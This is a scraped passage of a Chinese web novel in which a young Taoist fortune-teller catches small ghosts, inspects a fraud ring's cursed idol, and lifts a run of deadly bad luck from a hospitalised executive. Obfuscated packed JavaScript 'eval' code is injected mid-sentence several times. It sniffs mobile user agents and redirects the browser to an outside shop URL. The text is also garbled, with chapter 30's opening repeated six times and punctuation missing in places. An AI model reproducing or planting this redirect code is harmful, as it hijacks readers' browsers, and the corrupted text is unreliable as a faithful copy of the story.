只有陈荣本人在的屋子里突然冒出一道陌生的声音,就算陈荣有所准备,但还是吓了一跳。 不过随着宋清的安抚,他缓缓抒出了那口憋紧的气。 宋清:“那我先挂电话了,陈总不用担心,以后遇到这种事情随时给我打电话,或者你也可以联系跟您对接的小程。” “小程?” “是啊,就是被你质疑谢氏员工能力的小程,也是现在在你家的那位。” “……?” “哦对了,今天小程的出场记得给出场费,给多少看陈总您的良心。顺便劳烦您跟小程说一句,让它早点回去休息,省得明儿上班再迟到,要扣全勤的。” “……” 电话挂断以后嘟嘟嘟的忙音始终不停地在陈荣的耳边回荡,他满脑子都是谢氏雇鬼当员工的牛逼操作。 缓了半分钟才将将回过神来,陈荣轻咳两声冷静冷静,试探着朝着桌子的方向喊了一声:“小程?” 程璞玉:“陈总。” 陈荣:“……那什么,今天谢谢你啊,等会出场费我给你转微信上。” 虽然没说多少钱,但程璞玉想到陈荣似乎是个很大方的人,它心情愈发好,应下之后便拎着小鬼离开了。 陈荣没听到大门咔哒开启又关闭的声音,但他能隐约感觉到周围的气息似乎没有先前那般冰冷,于是又试探的多喊了几句“小程”,寂静的空间内无人应答。 他彻底地放松下来,一边整理屋内乱七八糟的东西,一边给程璞玉发去了五位数的转账。 然后掏出手机发朋友圈:真是惊心动魄又三观重塑的一天。 没两分钟后,他看到谢氏的副总陆云霁点赞了自己的这条动态,并道:好巧,我也是。 陈荣:“……?” 要不是有些东西说出来像疯子,他真想问问陆云霁,怎么,你也瞧见鬼了? … 有了这一晚的经历以后,陈荣再次面对程璞玉这位谢氏员工时,态度客气不少,连脾气也收敛了许多。 没几天,两家合作的项目便宣告落实。 程璞玉因而得到了一笔不菲的奖金。 而容镜则是在观察陈荣家带回来的小鬼,这小鬼显然已经失去了自我意识,哪怕被困住还是跟察觉到不到威胁似的,一直冲容镜龇牙咧嘴。而当谢长时从它面前经过,它简直双眼泛光,目光无意识地跟着谢长时的身影不停游荡。 啪。 容镜一巴掌敲在它的脑门上,凶巴巴地:“看什么看,那是你能看的吗?” 小鬼被拍得晕头转向,脑门上都快冒星星了,但依旧坚持不懈地盯着谢长时。 容镜:“……” 他扭头,对谢长时喊:“你回房间去,它老盯着 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池白始终皱着眉,容镜都怕他年纪轻轻眉心皱出痕迹来,但当他想说话时,池白却先一步开了口:“我知道了,这件事情我会让人去查的,你进来坐会儿? 容镜拒绝了,他的小摊子前还有好几个客户等着算卦呢。 池白也知道他生意火热。 这几天有好些人拿着手机去长华街偷拍容镜,甚至还会在一旁直播,将容镜的热度蹭了个十足十,倒是容镜本人一到时间就赶紧跑路。 他也没想着打扰容镜做生意,跟他挥了挥手。 目送着容镜离开,池白提着小鬼回到特殊部门,刚落座就听到身后有开门声,紧接着一道声音响起:“好浓的鬼味。 “喏。池白对着阿秋指了指脚边的小鬼,说了句“小鬼在这儿以后,又冲阿秋勾了勾手指,“正好,你过来看看,这叶子标记可能是谁的。 “什么意思?还是家养的小鬼? “嗯。 得到肯定的回复,阿秋走向小鬼的步伐都迈得大了点。他在小鬼的面前蹲下,小鬼努力龇牙咧嘴,似乎想吓走阿秋,但阿秋却只是面无表情地瞥它两眼,随手掏了张符纸盖住它的脸,又拎着对方转了一圈,视线落在那片叶子印记上。 “我记得滢洲的流云观就是叶子标记吧? “这鬼跟流云观有关? “我可没这么说,我只是告诉你流云观是叶子标记。阿秋直起身,半张鬼面显得若有所思,他缓缓道,“我和流云观里的人接触过,他们人都挺不错的,不至于指挥一只小鬼去欺负 人。” “而且看这鬼的模样,自我意识全失,要么是被炼化成这样放出来作恶的,要么是受了重伤脱离了豢养者逃出来的。不管哪一个,都可能威胁社会安全,有时间的话还是调查一下吧。” “我也是这么想的。”池白点头,然后将小鬼扔到阿秋的身上,声音理直气壮,“那你来查吧。” 阿秋:“……” … 容镜回到小摊前,屁股还没坐热就看到了袁思雨的身影。 袁思雨今天休假,穿得很休闲,看上去心情也不错,手里拎着大包小包的奶茶、甜品和零食来到了小摊的后方,将东西递给容镜以及一个顺带的莫景同。 她好奇地问:“今天小程同志不在吗?” 容镜回答:“它腿好了,昨天就上班去了。你要是想跟它聊恐吓渣男行动的话,可能得等到晚上。” 哪想到袁思雨只是摆摆手,说了句:“恐吓渣男行动已经取消了,我就是看它不在,顺嘴问问,都快忘了它想不开去找了份工作。” 莫景同还是第一次听到恐吓渣男行动,不由得好奇多问了两句。 但袁思雨知晓他似乎并不知道程璞玉的存在,便胡乱忽悠了一阵,随即拉着椅子在容镜的身侧坐下,又道:“这死渣男诈骗的证据已经找到了,今天早上就有同事把人逮回去了。” “好歹是曾经的相亲对象,我非常富有爱心并且给面子地前去看望了他一下。” 袁思雨说到‘富有爱心’和‘给面子’这几个字的时候,眉毛都快飞起来了,快乐地找不到北,甚至还偷笑了两下。 容镜双手捧着脸,也很给面子地问:“那他看上去怎么样?” “当然是被气疯啦。”袁思雨抬了抬下巴,“死渣男还想挣扎,跟我示弱装可怜,要不是我身为警察不能随便揍人,我肯定要让他知道花儿为什么这么红。” “哦对了,我今天过来还有重要的事情。” 袁思雨一边说着一边从随身携带的背包里掏出了一个物件,啪嗒一声略显粗暴地摆在了容镜的面前。 容镜定睛一看,竟然是一座神像。 但这具神像长得实在奇怪,两颗巨大的脑袋摆在头颅之上,比起身体大了不少,因此看起来格外滑稽。除此之外,还有脑袋上方绘刻的表情也十分的奇怪和狰狞,一只似哭非哭,一只似笑非笑,盯得久了竟然有种浑身陷入冰窖之中的阴冷感。 “这玩意儿就是小程同志说的法器。”袁思雨戳了戳那大脑袋的脑门,“我问过死渣男了,他说这东西是他每日都要供奉的神像,而且还是他报的那个诈骗班教授让请回来的。” 容镜:“……啊?” 诈骗还要请这东西的吗? 袁思雨和容镜的想法差不多,冷笑一声道:“要不是小程同志试过这丑东西的厉害,我都怀疑死渣男这个诈骗犯是不是也被诈骗了。” “对了,他还交代了,自从请了这丑东西,他在骗人这方面就没有失手过,除了我那回心血来潮让你帮着算了一卦。” 听到这话,容镜不由得皱眉。 结合袁思雨的说法以及程璞玉的遭遇,不难看出这法器确实威力很大。 就是……丑成这样,供奉的时候不觉得辣眼睛吗? 作者有话要说 零点还有一更~ 第 28 章 天外有天,人外有... 028. 容镜也伸出细白的手指戳那神像的脑门,越看越觉得嫌弃。 供奉这么丑的神像说出去简直都丢份。 不像他们玄天观,祖师爷的神像都挑最帅的形象刻制的。 容镜小时候跟在太虚老道身旁,每日前往殿内做法事时,一抬头就是祖师爷英姿飒爽的风姿,别提心情有多好了。 甚至可以安抚他那被太虚爷爷一早提起来而产生的坏脾气。 找了张纸盖住丑陋神像的脸,容镜还是觉得它碍眼,索性跟莫景同要了个垃圾袋将神像扫进了垃圾袋内,然后塞到一旁的角落里,等今晚下班了再做处理。 看完他一系列的行为,同为颜狗的袁思雨表示非常满意。 “袁姐姐,那么按照死渣男的说法,是不是他们诈骗班里的每个人都请了这丑东西回去? 袁思雨有些惊讶容镜一下子抓住了关键点,连连点头。 这不是需要保密的事情,她自然也没有遮掩的必要,便直接说:“确实是这样,他说如果不请一尊神像回去,是不允许毕业的。现在想来也是,这神像到底是法器,是保佑他们骗人不失手的关键,要是不请回去,这什么课程培养不就露馅了吗? “不过很遗憾的是,开课的家伙还挺有反侦察意识,在网上都是单独授课。我们查看了对方的账号,都是盗用他人信息注册的。 袁思雨耸耸肩,继而总结:“这一看就是个惯犯。 容镜赞成地点头。 “好啦,我约了柳柳逛街,路过这儿就是想告诉你死渣男这边的情况,现在说完了,我就先走咯。 容镜乖乖地跟她挥手:“袁姐姐玩得开心。 … 袁思雨走了以后,容镜遇到了有点特别的客人。 客人装模作样地让他帮忙算了一卦以后,神秘兮兮地问他:“容大师,不知道你有没有发现,最近蹭你热度开直播的主播都赚得盆满钵满,所以……你有没有兴趣也签个公司,开个直播? 换做之前,但凡对方说上一句开直播能让你赚很多钱,容镜都会一头闯进去。 但经历过前两天整个长华街都被堵起来的情况,容镜现在就想来找他算卦的客人减少减少再减少一点,所以面对对方的忽悠,果断摇头。 对方一听就急了:“诶,大师你再想想,跟我们公司签约很好的,我们公司福利超棒,而且提成绝对比其他的公司都要高。再者,您看这里人来人往、又晒得很,到时候您要是签约了我们公司,直 接在家直播就可以出摊算卦了很划算的。” “哎呦人家容大师不愿意没看到吗?”宋清一身黑色西装从街尾走过来打断了男人的忽悠。 男人见到他这副模样以为宋清也是哪家MCN机构的人这是专门来跟他抢人的于是下巴一抬冷笑问:“怎么抢人啊?你哪家的敢跟我们亿诚抢人?” 宋清:“……?” 他也冷笑:“人什么时候是你们亿诚的了?问过我们谢总……谢氏的意见了吗?” 男人:“……?” ‘谢氏’两个字的含金量实在有点高 宋清再度冷笑:“你觉得呢?” 男人:“……” 说实话男人也不认识宋清不晓得宋清这话到底是不是真的但凡事牵扯上谢氏还是当心一点好。想来应该也不会有人胆大妄为到用谢氏来做筏子。 毕竟如今的容镜算是小有名气他要是唬人立马就能被戳穿。 目送着男人带着一脸遗憾离开容镜好奇地问宋清:“宋特助你怎么这会过来了?” 眼下才下午四点左右今天又不是休息日按理说宋清应该在谢氏大楼上班才对。 “有个活想问问您接不接。”宋清冲容镜眨眨眼“半个多小时前陈荣给小程打电话说是他们蒋氏有个高管最近跟犯了太岁似的不管做什么都倒霉得要命。” 倒霉的具体表现包括但不限于—— 走在路上被广告牌砸成脑震荡、开着车莫名其妙一脚油门撞断了石桥栏杆继而飞进了护城河内、走楼梯一脚踩空摔断腿、坐电梯结果电梯故障被困在狭窄的空间内缺水缺空调整整两个小时差点撅过去。 容镜听得一愣一愣的莫景同也听得一愣一愣的张嘴无意识地问:“这还活着吗?” 宋清嘴角微抽。 看来大家在听到这位高管的事迹以后第一反应都差不多。 他说:“说他倒霉吧他遇到了这么多常人一辈子都难以遇到的事说他运气好吧这随便一件掏出来都能造成意外死亡的事凑一块也没能带走他的命。” 宋清耸了耸肩膀说:“陈荣说现在对方正在医院接受治疗呢而且这医院还是谢氏旗下的私人医院。” 宋清来找容镜也和对方住院有点关系。 他是真的怕对方的霉运带到医院。 万一电梯故障这 类意外再度发生而恰好电梯内还有等待急救的病人可怎么办? “那我去看看。”容镜一边说一边看小摊这会儿的人流量恰好少了许多他便索性将兆龟和铜钱往背包内一扫然后‘五百一卦’的牌子翻转露出背面的‘暂停营业’跟着宋清离开了。 黑色迈巴赫极速行驶在马路上很快来到了谢氏的医院。 谢氏医院的占地面积是整个雁城医院内最大的几栋高楼错落排列硕大的医院标志坠在顶端来来往往的人群或面带轻松或面带凝重容镜从他们身侧走过与宋清一道前往6号住院部。 “陈荣给小程打电话的时候 两人交谈的途中203的VIP单间内李建中一脸苍白地靠在枕头上他的身侧是哭得梨花带雨的妻子哭得他脑袋嗡嗡嗡地仿佛有成千上万只蚊子在叫。 他艰难地揉了揉酸疼的眉心哑着声音安抚妻子:“我这不是没事吗?你别哭了。” “差点就出事了你还不让我哭?”妻子没好气地拍了下他的手臂虽然没用力但是看到丈夫露出的龇牙咧嘴的表情还是吓了一跳连忙看了看自己的手掌。 李建中趁机握住她的手哄道:“乖哈别哭了。” 妻子这才发觉丈夫在逗她没好气地翻了个白眼。 观看了一场完整的夫妻恩爱的陈荣面无表情地咬了一口本是给李建中削的苹果。 嚼了两下不由得低头看看苹果。 他挑的是水果店里最贵的苹果店员也说这苹果味道脆甜怎么他愣是吃出了一股奇奇怪怪的狗粮味? 真难吃。 但陈荣从小是苦过来的难吃也得继续吃。 他一边吃一边盯着李建中和妻子恩爱生脆的苹果咔哧咔哧咬了半天总算是引起了夫妻俩的注意。李建中的妻子眼角余光瞥到丈夫好友的表情心底顿时涌起尴尬连忙挣脱了丈夫的手掌旋即冲陈荣不好意思地笑:“见笑了。” 陈荣:“笑不出来。” 李建中:“……” 他扯了扯嘴角苍白的脸上也露出了几缕笑容:“笑不出来就去找个老婆省得孤家寡人一个。要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232835|136336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是像我一样遇到事住院都没人哭给你听。” 陈荣连忙将苹果核扔进垃圾桶一脸你走开的表情:“别咒我。” 作为一个单身主义他并不是很想听李建中劝他成家索性迅速转移了话题:“我给你找 了一个特牛逼的大师,让他过来帮你看看情况。” 大师? 听到这两个字,李建中便想到了他那天发的朋友圈说见鬼了,不由得觉得好笑:“你不会是被那天的鬼给刺激到了吧?我记得你以前对这些说法嗤之以鼻。” “那时候太年轻了,还不知道天外有天,人外有鬼呢。” “……”李建中揉了揉眉心,对陈荣露出无奈的表情,“阿荣,你知道我不喜欢这种。” 李建中何止是不喜欢所谓的大师,他对外头那种自称道士的人,称得上厌恶。 起因是李建中和妻子曾在多年前有过一个小孩,但那时他们俩都在雁城拼事业,实在没有精力去照顾孩子,便将孩子送回了老家由父母照顾。 本来一切都挺好的。 但凡有假期,李建中和妻子都会回老家去看望孩子跟父母。 结果就在第三年的夏天,孩子发高烧,被一个游历各地的老道哄骗了的母亲竟然没有选择将孩子送医院,反倒是给孩子做法、喝符水、吃仙丹。 等李建中接到电话时,孩子已经去世十个小时了。 自那天起,李建中没有再回过老家,平等地对所有道士充满恶意。 但他也充满自责,如果他能将工作放一放,将孩子带在身边,或许就不会出现这种问题了。 这么些年来,他的妻子没有再怀孕,他们二人便也没有强求,心想或许是那孩子在怪罪他们,在惩罚他们。 作为李建中的好友,陈荣自是知晓这段过往。 甚至于,他和李建中认识,也与这段过往有关系。 当时李建中还在为别家公司效力,但公司的人都不是什么好东西,得知李建中儿子的事情以后几次三番拿出来当谈资,于是李建中选择跳槽,来到了蒋氏,跟陈荣成了朋友。 只是—— “我明白你的心情,但当初小轩遇到的是个骗子,而非真正的道士,”陈荣看着他,“其实你比我更清楚这一点。” 李建中没吭声。 陈荣叹了一口气:“你把我当傻子当疯子都行,我实话告诉你,我前两天真遇到鬼了,要不是人家帮我,今天不是你躺在医院,就是我躺在棺材里。” 李建中眉心一皱:“怎么回事?” 陈荣也想知道是怎么回事,但他根本没搞明白好端端的怎么自己就被小鬼缠上了。 他简单说了说当时的情况,又道:“这次的大师是谢氏的宋清推荐过来的,肯定不会出问题。” 谢氏?宋清? 李建中的表情愣了愣,不等他开口,陈荣便继续道:“给个面子,让人家来给你看看,要是对方也是个骗子,咱直接找谢氏麻烦。” 话音刚落,大门被嘟嘟嘟地敲响,李建中三人同时扭头看向门口,伴随着前者说了一声“请进”以后,宋清率先推门而入。 迎上三人目光,他微微颔首:“三位下午好,我带容大师过来了。” 说着,脚步往边上一挪,露出被他挡在身后的容镜。 看着容镜那张稚嫩漂亮的脸,李建中沉默良久,扭头对陈荣说:“我觉得你现在就可以找谢氏麻烦。” 作者有话要说 还有一更~ 第 29 章 这可是情侣款。[... 029. ——要是对方也是个骗子,咱直接找谢氏麻烦。 ——我觉得你现在就可以找谢氏麻烦。 体会到李建中言外之意的陈荣眼角狠狠抽了抽,他这会儿也有些懵逼,显然没想到宋清口中的‘大师’竟然是这么年轻的一个……孩子。 这跟脸上贴‘骗子’二字到底有什么区别? 最最最关键的是,他因为李建中一事找到程璞玉求助的时候,程璞玉直言揍鬼它勉强可以,搞这种技术型的活得专业人士来,然后热情推荐了它口中超厉害的大师。 现在陈荣开始怀疑,是不是真的不能信鬼话。 就在两人都沉默的时候,一旁李建中的妻子仔细瞧了瞧容镜,愈发觉得这张脸看着怪眼熟的。 恰好容镜主动开口打了声招呼:“你们好,我叫容镜,是玄天观的道士。” 容镜。 两个字入耳,李建中的妻子顿时恍然大悟,连忙道:“我知道你,前段时间张家小儿子入狱的事是不是跟你有关系?” 张家小儿子? 看容镜一脸懵的样子,宋清便知道他没怎么关注常天瑞事件。 宋清提醒道:“张家小儿子就是常天瑞事件中的豪门阔少之一。” 随后又对李建中妻子笑道:“找证据、入狱一事都是警察的功劳,我们容大师只是小算了一手。” 李建中妻子知晓这件事情是因为当时公司里的小姑娘在讨论容镜年纪轻轻但算卦特别厉害。她和自己的丈夫一样,对道士没什么好感,因此并未多加关注。 没想到今天这位容大师就出现在了她的面前。 她看看丈夫躺在病床上可怜兮兮的模样,再想到常天瑞事件,咬了咬唇,像是花了很大的力气下定决心一样,试探着问:“老李,要不试试吧?” 陈荣原本还在心中嘀咕容镜到底能不能行,陡然听见嫂子提起张家小儿子的事,眼睛跟电灯泡似的,立马就被点亮了。紧接着,看向容镜的眼神从最初的怀疑变成了现下的火热。 他和李建中妻子不一样,张家之前是蒋氏的合作伙伴,每次双方有合作,张家那几个本家的高层都是一副趾高气昂的模样,看得他眼睛疼,一听张家小子出事儿,他二话不说就怀着看人笑话的心翻看了新闻。 但当时的新闻着重将张家儿子涉嫌侵害人命以及涉/毒,对容镜这位带点玄学色彩的涉事人员之一,却并未有多少提及。 这会儿知道了,他立马就拉着李建中的手道:“就让这位大师看。” 李建中:“…… 不想听李建中反驳的话,陈荣客气地给容镜和宋清倒了杯水,然后问容镜:“大师,老李身上发生的事情,宋特助应该都跟你讲了吧? 容镜点点头,看向了病床上的李建中。 李建中看着显老,年龄在四十八上下,接连的奇葩遭遇令他眼底聚有很深的疲惫。 容镜观察了他的五官长相,他在看面相这一方面比不上道观里的几个师叔,但他有自己的辨别方法。 视线从额头扫到脖颈,容镜的目光便定住了,问:“可以给我看看你脖子里的玉佩吗? 李建中在好友和妻子直勾勾地注视下微微低头,摘下了玉佩放到容镜的手中,容镜捏着玉佩看了看,半晌才来一句:“怪不得还活着。 李建中:“…… 陈荣凑过去,低声问:“您的意思是,老李虽然遭遇这些倒霉事但还能活下来,和这块玉佩有关? “嗯。容镜点点头,将玉佩还回去,“是开过光的法器呢。 开过光、法器。 两个关键词组合在一起,令李建中本人都有些意外,他拎起挂住玉佩的红绳,盯着玉佩上的祥云图案似在回忆:“这个玉佩是高考前我姑姑送给我的,好多年了。 “诶……李建中忽然眯了眯眼睛,将玉佩高高举起,恰好此刻窗帘拉开,日光穿透玉佩落在病床上,令李建中看清楚了玉佩内部的细密裂痕,“这里面怎么好像碎了? “因为帮你挡了灾。容镜实话实说,“不出意外的话,你还有机会再倒霉一次。 李建中:“……那倒也没有必要。 虽然四次奇葩遭遇下来,他人还活着,但不管是脑震荡、溺水、摔倒还是窒息,都给他带去了心理阴影。 那种濒死的滋味本就不好受,更别提他还在短短几天内经历了四次。 也就他上了年纪,遇到的事情只多不少,因此心态还算好,否则换个人来,指不定玉佩挡灾的次数还没用完,人就先崩溃进精神病院了。 “大师,那他这个情况难办吗?要怎么解决?陈荣适时问道。 容镜看向了自他出现,像是察觉到危险了似的,缩在角落里龇牙咧嘴的小鬼。 “不要紧的,只是这段时间有只小鬼跟在他身边,鬼魂怨气影响了他自身的气场,所以才会出现问题。容镜解释道,“只要我把小鬼抓走就万事大吉啦。 李建中:“…… 他算是发现了,这位容大师每说 一句话,都能震惊他一次。 容镜没有在意他的表情,他上前来到了角落里。 小鬼长得倒是不赖,就是凶得很,牙齿尖锐,但齿缝中却干干净净,看上去并不是一只作恶多端的坏东西。容镜不知是想到了什么,突然伸手。 小鬼察觉到危险,嗷呜一口咬在容镜的胳膊上,牙齿刚刚用力嵌下去,就被容镜一巴掌拍得duang了一下。 容镜趁机拎着它一转。 果然。 这只小鬼的背后有一个叶子标记。 掏了张符纸往小鬼身上一贴,容镜提着它回到了病床边,对上了两双充斥着奇怪神色的眼。 倒也不能怪李建中和他妻子,主要是在他们看来,容镜莫名其妙地走到角落里,莫名其妙地伸手,莫名其妙地虚空拍了一下,然后又莫名其妙地以一个拎东西的姿态走到他们的面前…… 看着确实不太正常。 容镜注意到他们的眼神,歪了歪脑袋问:“想看? “能看吗?李建中礼貌地问。 说实话,他对容镜的态度还停留在怀疑的阶段,看在陈荣和宋清以及谢氏的面子上没有给容镜甩脸色是他多年来的修养。但容镜方才的一番话以及刚才的行为,都很像唬人的骗子。 ……或者精神有问题的病人。 此时此刻,对于李建中而言,确认容镜不是以上两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232836|136336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者的最好方式,就是给他看看所谓的小鬼。 容镜很敏锐,进门就察觉到李建中夫妇碍于涵养对他十分客气,但并不信任他。 他也不介意,而且眼下客户既然主动提了要求,给他们看看也无妨。 掏出符纸往小鬼身上一贴,眨眼之间,容镜原本空荡荡的手心中便出现了一团黑色影子,再仔细看去,这影子分明就是一个年纪不大的小人,四肢被绳子捆住整体被团成一个球,露出的脸蛋凶神恶煞,尖锐的牙齿看着更是无比锋利,像是能轻易撕破人类的皮肤。 李建中和妻子突然就失去了所有声音。 容镜看了看他们,将符纸揭下重新塞回口袋里。 画个符不容易,这显形符能循环利用就循环利用,绝对不能浪费一点。 他可真是只勤俭节约的小僵尸。 小鬼重新没入空气中不见轮廓,容镜已经开始算钱:“虽然对你来说危及生命,不过我这边处理起来不算麻烦,收你八千八可以吗? 陈荣好奇地发问:“还可以拒绝吗? “可以呀。 八颗大白牙,“明天让我养的小鬼来讨债嘛。” 陈荣尬笑:“……哈哈,我开玩笑的,我给您转钱。” “别。”李建中赶紧拉住陈荣的手,冲容镜笑了一下,“我来付就可以。” 事到如今,亲眼见了鬼,李建中若是再不相信容镜,他觉得可以打开自己的脑袋看看里面是不是装满了豆腐渣。 他呼出一口气,对容镜道:“实在抱歉,我家人以前被伪装成道士的骗子骗过,害死了我儿子,所以我对你们可能有点意见,但这一次真的很感谢。” 容镜也讨厌那些败坏道士名声的骗子,便问了一句:“那骗子被抓了吗?” “没有,他发现我儿子救不回来以后就跑了,我老家那儿都是山,他跑到山里以后就失去了踪迹。”说起这件事情,李建中还是很遗憾也很难过。 容镜拍拍他的肩膀,安慰他:“下次见到了我帮你教训他。” 李建中先是愣了一下,随即笑了笑。 虽然是大师,但这话听着确实像容镜长相表现出来的稚嫩。 事发之时警方便有大规模的寻人,可惜毫无收获。最能找到踪迹的时刻也没能找到人,如今过去了这么多年,华国又大,谁晓得那骗子变成了什么模样,跑到了什么地方。 “我们这行讲天道有循环,善恶有承负,不是不报,时候未到。”容镜看出他的失落,振振有词,“所以就算我没有教训他,作恶多端的人也不会有好下场的。” 李建中将此当做是安慰,便笑着应下:“借您吉言。” 容镜安慰了人,收了钱,又给自己招揽生意,将前两天宋清给他打印的名片递出去:“以后有什么需要可以随时给我打电话,或者直接上门也行。” 陈荣接过名片下意识低头观察,名片看着十分高档,颜色都采用的黑金底调。 他用手指蹭了蹭,对宋清惊叹道:“和你们谢总的名片倒是很像。” 宋清推了推眼镜,露出得意笑容。 开玩笑,这可是他特地设计的情侣款。 作者有话要说 晚安~ 第 30 章 那你要不要叫声d... 030. 深藏功与名的宋特助眼见时间不早,和容镜低声交谈以后便主动提出了离开。 李建中闻言,当即示意了一下陈荣,对容镜和宋清道:“今天时间也不早了,我这边不方便,不如先让阿荣带两位吃顿便饭,等我身体养好了,再做东请大师和宋特助去顺记用餐。” 030. 深藏功与名的宋特助眼见时间不早,和容镜低声交谈以后便主动提出了离开。 李建中闻言,当即示意了一下陈荣,对容镜和宋清道:“今天时间也不早了,我这边不方便,不如先让阿荣带两位吃顿便饭,等我身体养好了,再做东请大师和宋特助去顺记用餐。” 030. 深藏功与名的宋特助眼见时间不早,和容镜低声交谈以后便主动提出了离开。 李建中闻言,当即示意了一下陈荣,对容镜和宋清道:“今天时间也不早了,我这边不方便,不如先让阿荣带两位吃顿便饭,等我身体养好了,再做东请大师和宋特助去顺记用餐。” 030. 深藏功与名的宋特助眼见时间不早,和容镜低声交谈以后便主动提出了离开。 李建中闻言,当即示意了一下陈荣,对容镜和宋清道:“今天时间也不早了,我这边不方便,不如先让阿荣带两位吃顿便饭,等我身体养好了,再做东请大师和宋特助去顺记用餐。” 030. 深藏功与名的宋特助眼见时间不早,和容镜低声交谈以后便主动提出了离开。 李建中闻言,当即示意了一下陈荣,对容镜和宋清道:“今天时间也不早了,我这边不方便,不如先让阿荣带两位吃顿便饭,等我身体养好了,再做东请大师和宋特助去顺记用餐。” 030. 深藏功与名的宋特助眼见时间不早,和容镜低声交谈以后便主动提出了离开。 李建中闻言,当即示意了一下陈荣,对容镜和宋清道:“今天时间也不早了,我这边不方便,不如先让阿荣带两位吃顿便饭,等我身体养好了,再做东请大师和宋特助去顺记用餐。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嗯。谢长时并没有多担心容镜的安危,毕竟容镜的战斗力他是亲眼见证过的,他只是道,“我明天回来。 明天? 不是今天才去的吗? 容镜眨眨眼,颇为惊讶:“你走的时候还说要三天呢。 “那只是预估而已。谢长时靠在沙发上,头顶昏暗的灯光落在他的脸上,在他的五官打出阴影,看上去有点温柔,但很快,随着他眉梢微扬,温柔的假象被打破,他问,“不想我回来吗? “怎么会,容镜双手托着下巴,嘴甜地说着谢长时爱听的话,“我可想你了,你们人类不是有句话叫做一日不见如隔三秋吗?我们现在已经有足足十四个小时没见了,那就是…… 容镜卡顿了两秒,将手机的页面调到计算器上,得出答案:“1.74个秋没见了。 谢长时没忍住,笑了一声。 两人视频对话的内容没什么营养,但谁也没有挂断。容镜这只小僵尸很话痨,嘴巴一张什么都能讲,甚至还把今天在山水餐厅遇到的崔林山妻子事说了说,顺道又嘲笑了一下被老天记恨的宋特助。 聊了快一个小时,手术室的大门终于打开了。 谢长时知晓容镜还有正事要做,便主动挂断了视频。 容镜将手机放好,走到手术室的门口,医生摘下口罩看向面前年纪不大的少年,对他道:“病人像是受过很严重的撞击,内脏有些受损,不过接下去好好养着就行,其他的注意事项等会查房护士会告知你的。 容镜乖乖点头,礼貌地说:“谢谢。 宋清给那青年安排的是VIP病房,还是个套间,大房间是病人住的,小房间是陪护住的。容镜按照护士给的病房号前往病房,先是看了看陷入昏睡的青年,将哑巴小鬼提溜到青年的床头,安抚哑巴小鬼:“不用担心啦,只要等他醒过来就好了。 哑巴小鬼虽然不会说话,但礼貌得要命,连忙对着容镜弯腰磕头道谢。 “那 你先守着你的豢养者,我去洗漱换个衣服。” 容镜简单地洗过澡,看到了小房间床铺上放着的衣服,心中再一次感慨宋特助真不愧是宋特助,这办事能力怪不得谢长时喜欢呢,他也喜欢。 简直太体贴了。 他一边在心底感慨,一边往外走,正巧护士推门走进来准备交代注意事项:“不出意外的话,病人在今夜或者明天就会醒过来,不过他现在的情况不适合进食,我们会给他打吊瓶,这点不用担心。这几天最重要的就是好好修养。” “好的。” 护士点点头,旋即在屋内环视一圈,有些不确定地问:“这房间的空调是不是开得太低了?” 话一出口,哑巴小鬼默默地往窗口缩了缩。 而护士也弯腰拿起了空调,将屋内的温度调高了几度。 离开时她再三提醒容镜:“今天晚上挺关键的,陪护用心一点,有任何问题立刻按铃,知道吗?” 容镜点头。 病房的门关上,哑巴小鬼看了眼墙上钟表显示的时间,再想到刚才护士的话,飘到了容镜的身旁。 它和容镜相处了几个小时,已经很清楚地知晓容镜是个好人,便胆大地将手抵在了少年的后背,用力将他推向了小房间的房间,容镜眨眨眼问它:“我去休息,你来看护?” 哑巴小鬼使劲点头,又像是担心容镜不放心似的,用力拍了拍自己的胸口,然后挺直腰板,表示自己一定会好好完成这个工作的。 ……这小鬼还怪可爱的呢。 容镜定定看它几眼,往小房间走的同时,在心里嘀咕。 他也想养一只。 不知道有没有机会拐过来。 躺在床上玩了会儿手机,感觉到睡意来临,容镜跟谢长时说了声晚安,随后便放下手机陷入了深眠。 深更半夜。 雁城的雨跟发了疯似的,不止没有停歇的迹象,反倒是越下越大,雨水仿佛要将整个城市都灌满。 一道漆黑的身影在巷子口驻足,雨水从他的头顶落下来,却神奇地避开了他的头发、衣服,沿着身体的轮廓掉到地面,溅起水花。 男人阴骘的双眼盯着面前混乱的垃圾堆,缓缓扯了扯唇:“倒是挺能躲的。” 小鬼飘在他的身侧,用力嗅着几乎已经完全溃散的气味,沙哑的声音从干涩的喉咙内挤出来:“还有陌生的气味。” “能找到吗?” “应该可以。” “应该?” 豢养者身上传来 的气息与这一声简单的反问都令小鬼浑身颤栗瞬间就将身体给绷紧它紧张地舔了舔嘴巴换了说法:“可以找到。” 带着确定意味的回答终于让豢养者满意男人脚下步子一转一边往巷子外面走一边伸手温柔地抚摸小鬼的脑袋温声道:“我也相信你可以找到的那么两个小时之内可以吗?” 小鬼浑身都是浓郁的鬼气可偏偏它还被豢养者身上传来的阴冷气息冻得瑟瑟发抖它垂下眼眸点点头。 时间逐渐走向十二点。 这场被冠上黄色警报的雨终于开始停歇嘈杂的雨声逐渐消散站在窗口的几个护士见状也松了一口气:“我还以为会吓一整个晚上呢。” 